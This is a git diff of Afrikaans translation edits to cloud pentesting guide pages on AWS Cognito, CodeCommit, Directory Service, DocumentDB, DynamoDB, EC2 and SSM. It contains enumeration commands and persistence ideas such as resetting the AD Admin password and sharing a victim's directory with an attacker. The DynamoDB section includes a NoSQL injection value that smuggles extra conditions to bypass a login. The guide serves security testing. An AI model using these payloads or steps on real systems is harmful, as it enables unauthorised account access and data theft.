`AdminRespondToAuthChallenge` API operasie slaag slegs wanneer jy AWS geloofsbriewe verskaf. +- Die bediener-kant toepassing roep die **`AdminInitiateAuth` API-operasie** aan (in plaas van `InitiateAuth`). Hierdie operasie vereis AWS-akkrediteer met toestemmings wat **`cognito-idp:AdminInitiateAuth`** en **`cognito-idp:AdminRespondToAuthChallenge`** insluit. Die operasie gee die vereiste verifikasieparameters terug. +- Nadat die bediener-kant toepassing die **verifikasieparameters** het, roep dit die **`AdminRespondToAuthChallenge` API-operasie** aan. Die `AdminRespondToAuthChallenge` API-operasie slaag slegs wanneer jy AWS-akkrediteer verskaf. -Hierdie **metode is NIE geaktiveer** deur standaard nie. +Hierdie **metode is NIE geaktiveer nie** deur standaard. Om te **meld aan** moet jy **weet**: @@ -184,8 +184,8 @@ Om te **meld aan** moet jy **weet**: - kliënt geheim (slegs as die toepassing geconfigureer is om 'n geheim te gebruik) > [!NOTE] -> Ten einde **in staat te wees om met hierdie metode aan te meld** moet daardie toepassing toelaat om aan te meld met `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Boonop, om hierdie aksie uit te voer, het jy geloofsbriewe met die toestemmings **`cognito-idp:AdminInitiateAuth`** en **`cognito-idp:AdminRespondToAuthChallenge`** nodig. +> Ten einde **met hierdie metode aan te meld**, moet daardie toepassing toelaat om aan te meld met `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Boonop, om hierdie aksie uit te voer, het jy akkrediteer met die toestemmings **`cognito-idp:AdminInitiateAuth`** en **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ --client-id \ @@ -243,20 +243,20 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -Hierdie metode is 'n ander eenvoudige en **tradisionele gebruiker & wagwoord outentikasie** vloei. Dit word aanbeveel om **'n tradisionele** outentikasie metode **na Cognito** te **migreer** en **aanbeveel** om dit dan **te deaktiveer** en **in plaas daarvan** die **ALLOW_USER_SRP_AUTH** metode te **gebruik** (aangesien dit nooit die wagwoord oor die netwerk stuur).\ +Hierdie metode is 'n ander eenvoudige en **tradisionele gebruiker & wagwoord verifikasie** vloei. Dit word aanbeveel om 'n **tradisionele** verifikasie metode **na Cognito** te **migreer** en dan **aan te beveel** om dit te **deaktiveer** en dan die **ALLOW_USER_SRP_AUTH** metode te **gebruik** (aangesien dit nooit die wagwoord oor die netwerk stuur).\ Hierdie **metode is NIE geaktiveer** nie as standaard. -Die hoof **verskil** met die **vorige outentikasie metode** binne die kode is dat jy **nie die gebruiker poel ID** hoef te weet nie en dat jy **nie ekstra toestemmings** in die Cognito Gebruiker Poel nodig het nie. +Die hoof **verskil** met die **vorige verifikasie metode** binne die kode is dat jy **nie die gebruiker poel ID** hoef te weet nie en dat jy **nie ekstra toestemmings** in die Cognito Gebruiker Poel nodig het nie. Om te **log in** moet jy **weet**: - kliënt id - gebruikersnaam - wagwoord -- kliënt geheim (slegs as die toepassing gekonfigureer is om 'n geheim te gebruik) +- kliënt geheim (slegs as die toepassing geconfigureer is om 'n geheim te gebruik) > [!NOTE] -> Ten einde **in staat te wees om met hierdie metode in te log** moet daardie toepassing toelaat om in te log met ALLOW_USER_PASSWORD_AUTH. +> Om **in staat te wees om met hierdie metode in te log** moet daardie toepassing toelaat om in te log met ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ --auth-flow USER_PASSWORD_AUTH --region \ @@ -310,20 +310,20 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -Hierdie scenario is soortgelyk aan die vorige een, maar **in plaas daarvan om die wagwoord** deur die netwerk te stuur om aan te meld, word 'n **uitdaging-authentisering uitgevoer** (so geen wagwoord wat selfs versleuteld deur die netwerk beweeg nie).\ +Hierdie scenario is soortgelyk aan die vorige een, maar **in plaas daarvan om die wagwoord** deur die netwerk te stuur om in te log, word 'n **uitdaging-authentisering uitgevoer** (so geen wagwoord wat selfs versleuteld deur die netwerk beweeg nie).\ Hierdie **metode is standaard geaktiveer**. -Om te **meld aan** moet jy weet: +Om te **log in** moet jy weet: - gebruikerspoel id - kliënt id - gebruikersnaam - wagwoord -- kliënt geheim (slegs as die toepassing gekonfigureer is om 'n geheim te gebruik) +- kliënt geheim (slegs as die app gekonfigureer is om 'n geheim te gebruik)
-Code om aan te meld +Code om in te log ```python from warrant.aws_srp import AWSSRP import os @@ -347,7 +347,7 @@ token_type = tokens['AuthenticationResult']['TokenType'] ### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -Hierdie **metode gaan altyd geldig wees** (dit kan nie gedeaktiveer word nie) maar jy moet 'n geldige herlaai-token hê. +Hierdie **metode gaan altyd geldig wees** (dit kan nie gedeaktiveer word nie) maar jy moet 'n geldige hernu token hê. ```bash aws cognito-idp initiate-auth \ --client-id 3ig6h5gjm56p1ljls1prq2miut \ @@ -395,7 +395,7 @@ In hierdie geval gaan die **verifikasie** deur die **uitvoering van 'n lambda-fu ### Gevorderde Sekuriteit -Standaard is dit gedeaktiveer, maar as dit geaktiveer is, kan Cognito in staat wees om **rekening oorname** te **vind**. Om die waarskynlikheid te minimaliseer, moet jy aanmeld vanaf 'n **netwerk binne dieselfde stad, met dieselfde gebruikersagent** (en IP as dit moontlik is)**.** +Standaard is dit gedeaktiveer, maar as dit geaktiveer is, kan Cognito in staat wees om **rekening oorname** te vind. Om die waarskynlikheid te minimaliseer, moet jy aanmeld vanaf 'n **netwerk binne dieselfde stad, met dieselfde gebruikersagent** (en IP as dit moontlik is)**.** ### **MFA Onthou toestel** @@ -406,19 +406,19 @@ As die gebruiker vanaf dieselfde toestel aanmeld, kan die MFA omseil word, probe Dit is moontlik om **gebruikers aan Gebruiker Pool** groepe toe te voeg wat verband hou met een **IAM rol**.\ Boonop kan **gebruikers** aan **meer as 1 groep met verskillende IAM rolle** toegeken word. -Let daarop dat selfs al is 'n groep binne 'n groep met 'n IAM rol aangeheg, om toegang te verkry tot die IAM geloofsbriewe van daardie groep, is dit nodig dat die **Gebruiker Pool vertrou word deur 'n Identiteits Pool** (en die besonderhede van daardie Identiteits Pool ken). +Let daarop dat selfs al is 'n groep binne 'n groep met 'n IAM rol aangeheg, dit nodig is dat die **Gebruiker Pool vertrou word deur 'n Identiteits Pool** (en die besonderhede van daardie Identiteits Pool ken). Nog 'n vereiste om die **IAM rol aangedui in die IdToken** te verkry wanneer 'n gebruiker in die Gebruiker Pool geverifieer word (`aws cognito-idp initiate-auth...`), is dat die **Identiteits Verskaffer Verifikasie verskaffer** moet aandui dat die **rol uit die token gekies moet word.**
-Die **rolle** waartoe 'n gebruiker toegang het, is **binne die `IdToken`**, en 'n gebruiker kan **kies watter rol hy graag geloofsbriewe vir** wil hê met die **`--custom-role-arn`** van `aws cognito-identity get-credentials-for-identity`.\ -As die **standaard opsie** egter die een is wat **gekonfigureer** is (`use default role`), en jy probeer om toegang te verkry tot 'n rol vanaf die IdToken, sal jy **fout** kry (dit is waarom die vorige konfigurasie nodig is): +Die **rolle** waartoe 'n gebruiker toegang het, is **binne die `IdToken`**, en 'n gebruiker kan **kies watter rol hy graag krediete vir wil hê** met die **`--custom-role-arn`** van `aws cognito-identity get-credentials-for-identity`.\ +As die **standaard opsie** egter die een is wat **gekonfigureer** is (`use default role`), en jy probeer om toegang tot 'n rol vanaf die IdToken te verkry, sal jy **fout** kry (dit is waarom die vorige konfigurasie nodig is): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> Let daarop dat die rol wat aan 'n **User Pool Group** toegeken is, **toeganklik moet wees deur die Identiteitsverskaffer** wat **die User Pool vertrou** (aangesien die IAM-rol **sessie-inligting daaruit verkry gaan word**). +> Let daarop dat die rol wat aan 'n **User Pool Group** toegeken is, **toeganklik moet wees deur die Identiteitsverskaffer** wat **die User Pool vertrou** (aangesien die IAM-rol **sessie geloofsbriewe daaruit verkry gaan word**). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 059899a28..d990a7536 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -6,7 +6,7 @@ AWS Data Pipeline is ontwerp om die **toegang, transformasie, en doeltreffende oordrag** van data op skaal te fasiliteer. Dit laat die volgende operasies toe: -1. **Toegang tot Jou Data Waar Dit Gestoor Is**: Data wat in verskeie AWS-dienste woon, kan naatloos verkry word. +1. **Toegang tot Jou Data Waar Dit Gestoor Is**: Data wat in verskeie AWS-dienste woon, kan naatloos toeganklik gemaak word. 2. **Transformeer en Verwerk op Skaal**: Grootmaat data verwerking en transformasie take word doeltreffend hanteer. 3. **Doeltreffend Oordrag van Resultate**: Die verwerkte data kan doeltreffend oorgedra word na verskeie AWS-dienste insluitend: - Amazon S3 @@ -14,7 +14,7 @@ AWS Data Pipeline is ontwerp om die **toegang, transformasie, en doeltreffende o - Amazon DynamoDB - Amazon EMR -In wese stroomlyn AWS Data Pipeline die beweging en verwerking van data tussen verskillende AWS reken- en stoor dienste, sowel as op-premises data bronne, op gespesifiseerde tydperke. +In wese stroomlyn AWS Data Pipeline die beweging en verwerking van data tussen verskillende AWS rekenaar- en stoor dienste, sowel as plaaslike databronne, op spesifieke tydperke. ### Enumeration ```bash @@ -46,7 +46,7 @@ aws codepipeline get-pipeline-state --name ``` ### Privesc -In die volgende bladsy kan jy kyk hoe om **kodepypel-regte te misbruik om voorregte te verhoog**: +In die volgende bladsy kan jy kyk hoe om **codepipeline toestemmings te misbruik om voorregte te verhoog**: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -56,7 +56,7 @@ In die volgende bladsy kan jy kyk hoe om **kodepypel-regte te misbruik om voorre Dit is 'n **weergawebeheerdiens**, wat gehos en ten volle bestuur word deur Amazon, wat gebruik kan word om data (dokumente, binêre lêers, bronkode) privaat te stoor en dit in die wolk te bestuur. -Dit **verwyder** die vereiste dat die gebruiker Git moet ken en **hulle eie bronbeheerstelsel moet bestuur** of bekommerd wees oor die skaal van hul infrastruktuur. Codecommit ondersteun al die standaard **funksies wat in Git gevind kan word**, wat beteken dit werk moeiteloos saam met die gebruiker se huidige Git-gebaseerde gereedskap. +Dit **elimineer** die vereiste dat die gebruiker Git moet ken en **hulle eie bronbeheerstelsel moet bestuur** of bekommerd wees oor die skaal van hul infrastruktuur. Codecommit ondersteun al die standaard **funksies wat in Git gevind kan word**, wat beteken dit werk moeiteloos saam met die gebruiker se huidige Git-gebaseerde gereedskap. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 46db343d9..c7bf81ed7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -35,7 +35,7 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` -### Login +### Aanmelding Let daarop dat as die **beskrywing** van die gids 'n **domein** in die veld **`AccessUrl`** bevat, dit is omdat 'n **gebruiker** waarskynlik kan **aanmeld** met sy **AD-akkrediteer** in sommige **AWS-dienste:** @@ -51,33 +51,33 @@ Let daarop dat as die **beskrywing** van die gids 'n **domein** in die veld **`A ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## Volharding -### Using an AD user +### Gebruik van 'n AD-gebruiker -'n **AD-gebruiker** kan **toegang oor die AWS-bestuurskonsol** gegee word via 'n Rol om aan te neem. Die **standaard gebruikersnaam is Admin** en dit is moontlik om **sy wagwoord te verander** vanaf die AWS-konsol. +'n **AD-gebruiker** kan **toegang tot die AWS-bestuurskonsol** gegee word via 'n Rol om aan te neem. Die **standaard gebruikersnaam is Admin** en dit is moontlik om **sy wagwoord te verander** vanaf die AWS-konsol. Daarom is dit moontlik om **die wagwoord van Admin te verander**, **'n nuwe gebruiker te skep** of **die wagwoord** van 'n gebruiker te verander en daardie gebruiker 'n Rol te gee om toegang te behou.\ Dit is ook moontlik om **'n gebruiker aan 'n groep binne AD toe te voeg** en **daardie AD-groep toegang tot 'n Rol te gee** (om hierdie volharding meer stil te maak). -### Sharing AD (from victim to attacker) +### Deel AD (van slagoffer na aanvaller) -Dit is moontlik om 'n AD-omgewing van 'n slagoffer na 'n aanvaller te deel. Op hierdie manier sal die aanvaller in staat wees om voort te gaan om toegang tot die AD-omgewing te verkry.\ +Dit is moontlik om 'n AD-omgewing van 'n slagoffer na 'n aanvaller te deel. Op hierdie manier sal die aanvaller in staat wees om voort te gaan met die toegang tot die AD-omgewing.\ Dit impliseer egter die deel van die bestuurde AD en ook die skep van 'n VPC-peeringverbinding. Jy kan 'n gids hier vind: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~Deel AD (van aanvaller na slagoffer)~~ Dit lyk nie moontlik om AWS-toegang aan gebruikers van 'n ander AD-omgewing te gee nie, na een AWS-rekening. ## WorkDocs -Amazon Web Services (AWS) WorkDocs is 'n wolk-gebaseerde **lêeropslag en deel diens**. Dit is deel van die AWS-suite van wolkrekenaarsdienste en is ontwerp om 'n veilige en skaalbare oplossing te bied vir organisasies om lêers en dokumente te stoor, te deel en saam te werk. +Amazon Web Services (AWS) WorkDocs is 'n wolk-gebaseerde **lêeropslag en deeldiens**. Dit is deel van die AWS-suite van wolkrekenaarsdienste en is ontwerp om 'n veilige en skaalbare oplossing te bied vir organisasies om lêers en dokumente te stoor, te deel en saam te werk. AWS WorkDocs bied 'n web-gebaseerde koppelvlak vir gebruikers om hul lêers en dokumente op te laai, toegang te verkry en te bestuur. Dit bied ook funksies soos weergawebeheer, regstreekse samewerking, en integrasie met ander AWS-dienste en derdeparty gereedskap. -### Enumeration +### Enumerasie ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index 96f537353..69c1eaac8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,7 +4,7 @@ ## DocumentDB -Amazon DocumentDB, wat kompatibiliteit met MongoDB bied, word aangebied as 'n **vinnige, betroubare en volledig bestuurde databasediens**. Ontwerp vir eenvoud in implementering, werking en skaalbaarheid, dit stel gebruikers in staat om die **naadlose migrasie en werking van MongoDB-kompatible databases in die wolk** te doen. Gebruikers kan hierdie diens benut om hul bestaande toepassingskode uit te voer en bekende bestuurders en gereedskap te gebruik, wat 'n gladde oorgang en werking soos met MongoDB verseker. +Amazon DocumentDB, wat kompatibiliteit met MongoDB bied, word aangebied as 'n **vinnige, betroubare en volledig bestuurde databasediens**. Ontwerp vir eenvoud in implementering, werking en skaalbaarheid, dit stel gebruikers in staat tot die **naadlose migrasie en werking van MongoDB-kompatible databases in die wolk**. Gebruikers kan hierdie diens benut om hul bestaande toepassingskode uit te voer en bekende bestuurders en gereedskap te gebruik, wat 'n gladde oorgang en werking soos met MongoDB verseker. ### Enumeration ```bash @@ -19,9 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` -### NoSQL Injection +### NoSQL Inspuiting -Aangesien DocumentDB 'n MongoDB-ondersteunde databasis is, kan jy jou voorstel dat dit ook kwesbaar is vir algemene NoSQL-inspuitaanvalle: +Aangesien DocumentDB 'n MongoDB-ondersteunde databasis is, kan jy jou voorstel dat dit ook kwesbaar is vir algemene NoSQL inspuitingsaanvalle: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -33,7 +33,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ../aws-unauthenticated-enum-access/aws-documentdb-enum.md {{#endref}} -## References +## Verwysings - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index ab95e7d8d..6f138d6b5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,7 +6,7 @@ ### Basiese Inligting -Amazon DynamoDB word deur AWS aangebied as 'n **volledig bestuurde, serverless, sleutel-waarde NoSQL-databasis**, ontwerp om hoë-prestasie toepassings te ondersteun, ongeag hul grootte. Die diens verseker robuuste kenmerke, insluitend ingeboude sekuriteitsmaatreëls, ononderbroken rugsteun, geoutomatiseerde replikaasies oor verskeie streke, geïntegreerde in-geheue kas, en gerieflike data-uitvoerhulpmiddels. +Amazon DynamoDB word deur AWS aangebied as 'n **volledig bestuurde, serverless, sleutel-waarde NoSQL-databasis**, ontwerp om hoë-prestasie toepassings te ondersteun, ongeag hul grootte. Die diens verseker robuuste kenmerke, insluitend inherente sekuriteitsmaatreëls, ononderbroken rugsteun, geoutomatiseerde replikaasies oor verskeie streke, geïntegreerde in-geheue kas, en gerieflike data-eksporthulpmiddels. In die konteks van DynamoDB, in plaas daarvan om 'n tradisionele databasis op te stel, **word tafels geskep**. Elke tafel vereis die spesifikasie van 'n **partisie-sleutel** as 'n integrale komponent van die **tafel se primêre sleutel**. Hierdie partisiesleutel, wat essensieel 'n **hash-waarde** is, speel 'n kritieke rol in beide die herwinning van items en die verspreiding van data oor verskeie gasheers. Hierdie verspreiding is van kardinale belang om beide skaalbaarheid en beskikbaarheid van die databasis te handhaaf. Daar is ook 'n opsie om 'n **sorteersleutel** in te sluit om data-organisasie verder te verfyn. @@ -16,11 +16,11 @@ Standaard gebruik DynamoDB 'n KMS-sleutel wat \*\*aan Amazon DynamoDB behoort,\*
-### Rugsteun & Uitvoer na S3 +### Rugsteun & Eksport na S3 -Dit is moontlik om die generering van **tafelrugsteun** te **skeduleer** of dit op **aanvraag** te skep. Boonop is dit ook moontlik om **Punt-in-tyd herstel (PITR) vir 'n tafel** in te skakel. Punt-in-tyd herstel bied deurlopende **rugsteun** van jou DynamoDB-data vir **35 dae** om jou te help beskerm teen per ongeluk skryf- of verwyderingsoperasies. +Dit is moontlik om **die generasie van tafelrugsteun** te **skeduleer** of om dit op **aanvraag** te skep. Boonop is dit ook moontlik om **Punt-in-tyd herstel (PITR) vir 'n tafel** in te skakel. Punt-in-tyd herstel bied deurlopende **rugsteun** van jou DynamoDB-data vir **35 dae** om jou te help beskerm teen per ongeluk skryf- of verwyderingsoperasies. -Dit is ook moontlik om **die data van 'n tafel na S3 uit te voer**, maar die tafel moet **PITR geaktiveer** hê. +Dit is ook moontlik om **die data van 'n tafel na S3** te eksporteer, maar die tafel moet **PITR geaktiveer** hê. ### GUI @@ -59,7 +59,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privilege Verhoging +### Privesc {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md @@ -81,7 +81,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ### SQL Inspuiting -Daar is maniere om toegang tot DynamoDB-data te verkry met **SQL-sintaksis**, daarom is tipiese **SQL-inspuitings ook moontlik**. +Daar is maniere om toegang tot DynamoDB data te verkry met **SQL-sintaks**, daarom is tipiese **SQL-inspuitings ook moontlik**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection @@ -89,7 +89,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL Inspuiting -In DynamoDB kan verskillende **voorwaardes** gebruik word om data te verkry, soos in 'n algemene NoSQL-inspuiting. As dit moontlik is om **meer voorwaardes te koppel om** data te verkry, kan jy verborge data verkry (of die hele tabel dump).\ +In DynamoDB kan verskillende **voorwaardes** gebruik word om data te verkry, soos in 'n algemene NoSQL Inspuiting. As dit moontlik is om **meer voorwaardes te ketting om** data te verkry, kan jy versteekte data verkry (of die hele tabel dump).\ Jy kan hier die voorwaardes vind wat deur DynamoDB ondersteun word: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) Let daarop dat **verskillende voorwaardes** ondersteun word as die data via **`query`** of via **`scan`** verkry word. @@ -141,18 +141,18 @@ scan_filter = """{ dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` -Dit sou kwesbaar wees vir: +Dit sou kwesbaar wees teen: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` ### :property Injection -Sommige SDK's laat 'n string toe wat die filtrering aandui wat uitgevoer moet word, soos: +Sommige SDK's laat 'n string toe wat die filtrering aandui wat uitgevoer moet word soos: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -U moet weet dat soek in DynamoDB vir **substitusie** van 'n attribuut **waarde** in **filteruitdrukkings** terwyl die items gescan word, die tokens moet **begin** met die **`:`** karakter. Sulke tokens sal **vervang** word met die werklike **attribuutwaarde tydens uitvoering**. +Jy moet weet dat wanneer jy in DynamoDB soek om 'n attribuut se **waarde** in **filteruitdrukkings** te **vervang** terwyl jy die items skandeer, die tokens moet **begin** met die **`:`** karakter. Sulke tokens sal met die werklike **attribuutwaarde tydens uitvoering** **vervang** word. Daarom kan 'n aanmelding soos die vorige omseil word met iets soos: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 1443115a1..d738cd248 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -12,13 +12,13 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 word gebruik om **virtuele bedieners** te begin. Dit stel die konfigurasie van **sekuriteit** en **netwerk** en die bestuur van **berging** moontlik. Die buigsaamheid van Amazon EC2 is duidelik in sy vermoë om hulpbronne opwaarts en afwaarts te skaal, wat effektief aanpas by verskillende vereiste veranderinge of toename in gewildheid. Hierdie kenmerk verminder die noodsaaklikheid vir presiese verkeersvoorspellings. +Amazon EC2 word gebruik om **virtuele bedieners** te begin. Dit stel die konfigurasie van **sekuriteit** en **netwerk** en die bestuur van **berging** moontlik. Die buigsaamheid van Amazon EC2 is duidelik in sy vermoë om hulpbronne op en af te skaal, wat effektief aanpas by verskillende vereiste veranderinge of toename in gewildheid. Hierdie kenmerk verminder die noodsaaklikheid vir presiese verkeersvoorspellings. Interessante dinge om in EC2 te enumereer: - Virtuele Masjiene - SSH Sleutels -- Gebruikersdata +- Gebruikerdata - Bestaande EC2s/AMIs/Snapshots - Netwerk - Netwerke @@ -29,9 +29,9 @@ Interessante dinge om in EC2 te enumereer: ### Instance Profiles -Om **rolle** te gebruik om toestemmings aan toepassings wat op **EC2-instances** loop te verleen, vereis 'n bietjie ekstra konfigurasie. 'n Toepassing wat op 'n EC2-instance loop, is geabstraheer van AWS deur die gevirtualiseerde bedryfstelsel. As gevolg van hierdie ekstra skeiding, benodig jy 'n bykomende stap om 'n AWS-rol en sy geassosieerde toestemmings aan 'n EC2-instance toe te ken en dit beskikbaar te maak vir sy toepassings. +Om **rolle** te gebruik om toestemmings aan toepassings wat op **EC2-instances** loop te verleen, vereis 'n bietjie ekstra konfigurasie. 'n Toepassing wat op 'n EC2-instance loop, is geabstraheer van AWS deur die gevirtualiseerde bedryfstelsel. Vanweë hierdie ekstra skeiding, benodig jy 'n bykomende stap om 'n AWS-rol en sy geassosieerde toestemmings aan 'n EC2-instance toe te ken en dit beskikbaar te stel vir sy toepassings. -Hierdie ekstra stap is die **skepping van 'n** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) wat aan die instance geheg is. Die **instance profile bevat die rol en** kan die rol se tydelike akrediteerings aan 'n toepassing wat op die instance loop, verskaf. Daardie tydelike akrediteerings kan dan in die toepassing se API-oproepe gebruik word om toegang tot hulpbronne te verkry en om toegang te beperk tot slegs daardie hulpbronne wat die rol spesifiseer. Let daarop dat **slegs een rol aan 'n EC2-instance** op 'n slag toegeken kan word, en alle toepassings op die instance deel dieselfde rol en toestemmings. +Hierdie ekstra stap is die **skepping van 'n** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) wat aan die instance geheg is. Die **instance profile bevat die rol en** kan die rol se tydelike akrediteerbare inligting aan 'n toepassing wat op die instance loop, verskaf. Daardie tydelike akrediteerbare inligting kan dan in die toepassing se API-oproepe gebruik word om toegang tot hulpbronne te verkry en om toegang te beperk tot slegs daardie hulpbronne wat die rol spesifiseer. Let daarop dat **slegs een rol aan 'n EC2-instance** op 'n slag toegeken kan word, en alle toepassings op die instance deel dieselfde rol en toestemmings. ### Metadata Endpoint @@ -149,9 +149,9 @@ In die volgende bladsy kan jy kyk hoe om **EC2-toestemmings te misbruik om voorr ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** is basies statiese **rugsteun** van AWS EBS volumes. Met ander woorde, dit is **kopieë** van die **skywe** wat aan 'n **EC2** instansie op 'n spesifieke tydstip geheg is. EBS snapshots kan oor streke en rekeninge gekopieer word, of selfs afgelaai en plaaslik uitgevoer word. +Amazon **EBS** (Elastic Block Store) **snapshots** is basies statiese **rugsteun** van AWS EBS volumes. Met ander woorde, dit is **kopieë** van die **skywe** wat aan 'n **EC2** Instansie op 'n spesifieke tydstip gekoppel is. EBS snapshots kan oor streke en rekeninge gekopieer word, of selfs afgelaai en plaaslik uitgevoer word. -Snapshots kan **sensitiewe inligting** soos **bronkode of API sleutels** bevat, daarom, as jy die kans het, word dit aanbeveel om dit na te gaan. +Snapshots kan **sensitiewe inligting** bevat soos **bronkode of API sleutels**, daarom, as jy die kans het, word dit aanbeveel om dit na te gaan. ### Verskil tussen AMI & EBS @@ -167,11 +167,11 @@ In die volgende bladsy kan jy kyk hoe om **EBS-toestemmings te misbruik om voorr ## SSM -**Amazon Simple Systems Manager (SSM)** maak dit moontlik om afstandsgewys 'n vloot van EC2 instansies te bestuur om hul administrasies baie makliker te maak. Elke een van hierdie instansies moet die **SSM Agent diens aan hê, aangesien die diens die een sal wees wat die aksies ontvang en uitvoer** vanaf die AWS API. +**Amazon Simple Systems Manager (SSM)** maak dit moontlik om afstandsgewys 'n vloot van EC2 instansies te bestuur om hul administrasies baie makliker te maak. Elke een van hierdie instansies moet die **SSM Agent diens** aan hê, aangesien die diens die een sal wees wat die aksies ontvang en dit uitvoer vanaf die AWS API. **SSM Agent** maak dit moontlik vir Systems Manager om hierdie hulpbronne op te dateer, te bestuur en te konfigureer. Die agent **verwerk versoeke van die Systems Manager diens in die AWS Cloud**, en voer dit dan uit soos gespesifiseer in die versoek. -Die **SSM Agent kom**[ **vooraf geïnstalleer in sommige AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) of jy moet dit [**handmatig installeer**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) op die instansies. Ook, die IAM Rol wat binne die instansie gebruik word, moet die beleid **AmazonEC2RoleforSSM** aangeheg hê om te kan kommunikeer. +Die **SSM Agent kom**[ **vooraf geïnstalleer in sommige AMI's**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) of jy moet dit [**handmatig installeer**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) op die instansies. Ook, die IAM Rol wat binne die instansie gebruik word, moet die beleid **AmazonEC2RoleforSSM** aangeheg hê om te kan kommunikeer. ### Enumerasie ```bash @@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` -U kan in 'n EC2-instansie nagaan of Systems Manager loop deur eenvoudig die volgende uit te voer: +U kan in 'n EC2-instantie nagaan of Systems Manager loop deur eenvoudig die volgende uit te voer: ```bash ps aux | grep amazon-ssm ``` @@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro is 'n suite van **innoverende tegnologieë** wat die onderliggende platform vir AWS EC2-instances vorm. Ingevoerd deur Amazon om **veiligheid, prestasie en betroubaarheid** te **verbeter**, benut Nitro pasgemaakte **hardeware-komponente en 'n liggewig hypervisor**. Dit abstraheer baie van die tradisionele virtualisering funksionaliteit na toegewyde hardeware en sagteware, **minimaliseer die aanvaloppervlak** en verbeter hulpbron doeltreffendheid. Deur virtualisering funksies af te laai, laat Nitro EC2-instances toe om **naby bare-metal prestasie** te lewer, wat dit veral voordelig maak vir hulpbron-intensiewe 